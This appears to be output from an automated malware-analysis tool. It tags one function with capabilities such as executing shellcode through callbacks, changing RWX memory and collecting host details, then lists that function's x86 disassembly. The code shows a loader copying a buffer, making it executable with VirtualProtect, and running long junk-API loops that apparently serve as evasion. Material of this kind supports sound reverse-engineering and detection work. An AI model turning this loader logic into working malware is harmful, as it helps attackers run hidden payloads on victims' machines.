Function at 0x40b000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get geographical location
Get hostname
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40e61b
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x105c
call fcn.004097c0
mov eax, dword [0x458030]
xor eax, esp
mov dword [esp + 0x1058], eax
push ebx
push esi
push edi
mov eax, dword [0x458030]
xor eax, esp
push eax
lea eax, [esp + 0x1070]
mov dword fs:[0], eax
mov edx, dword [0x2c3855c]
cmp edx, 0x7c
jne 0x40b0a3
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
lea edx, [esp + 0x68]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x2c3855c], 0x2d
jne 0x40b092
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push ebx
call fcn.0040136a
mov edx, dword [0x2c3855c]
add esp, 4
jmp 0x40b0a5
xor ebx, ebx
mov ecx, dword [0x459d74]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x1c3
jne 0x40b0c2
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x40b0d6
mov dword [0x45ad10], edi
mov dword [0x45ad14], esi
inc eax
cmp eax, 0xb9fa618
jl 0x40b0b5
mov edi, dword [sym.imp.KERNEL32.dll_IsValidLocale]
mov dword [0x2c3855c], edx
xor esi, esi
lea esp, [esp]
cmp esi, 0x562d05
jne 0x40b102
mov eax, dword [0x458f58]
mov dword [0x2c38560], eax
cmp edx, 0x3c
jne 0x40b111
push ebx
push ebx
call edi
mov edx, dword [0x2c3855c]
inc esi
cmp esi, 0x5f6c74
jl 0x40b0f0
cmp edx, 0x110a
jne 0x40b1e7
push ebx
mov dword [0x2c38428], ebx
mov dword [0x2c3842c], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea eax, [esp + 0x3c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
push ebx
call fcn.00401206
push ebx
call fcn.00401295
add esp, 0xc
push 0x30
push 0x456e88
push str._s__c
push 0x45ac88
call fcn.00401078
push 4
call fcn.00401724
add esp, 0x14
cmp eax, ebx
je 0x40b1ad
lea ecx, [esp + 0x1c]
mov dword [eax], ecx
jmp 0x40b1af
xor eax, eax
mov dword [esp + 0x1c], eax
push ebx
push ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call fcn.00401206
push ebx
call fcn.00401295
add esp, 0xc
push 0x456e88
push 0x45ac88
call fcn.00401078
add esp, 8
push ebx
call fcn.00401671
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, dword [0x2c3855c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2c38280], eax
cmp dword [0x2c3855c], ebx
jbe 0x40b25b
mov edi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x40b220
mov eax, dword [0x2c38560]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + esi]
mov eax, dword [0x2c38280]
mov byte [eax + esi], dl
cmp dword [0x2c3855c], 0x5ab
jne 0x40b252
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x2c3855c]
jb 0x40b220
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x2c3855c]
mov eax, dword [0x2c38280]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0040af50
add dword [0x2c38280], 0
mov ebx, dword [esp + 0x44]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
jmp 0x40b2a0
push 0
lea ecx, [esp + 0x868]
push ecx
push 0
call edi
cmp esi, 0x1a01e
jle 0x40b2be
cmp ebx, 0xf5bed7
jne 0x40b2c7
inc esi
cmp esi, 0x1ece7a52
jl 0x40b2a0
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [esp + 0x10], 0x1e4165
mov ebx, 0x8e46a6f0
cmp dword [0x2c3855c], 0xcc1
jne 0x40b2f4
push 0
push 0
push 0
call esi
cmp dword [0x2c3855c], 0x7c4
mov dword [0x2c38284], ebx
jne 0x40b308
call edi
sub dword [esp + 0x10], 1
jne 0x40b2e0
mov ecx, dword [esp + 0x1070]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1058]
xor ecx, esp
call fcn.00401069
mov esp, ebp
pop ebp
ret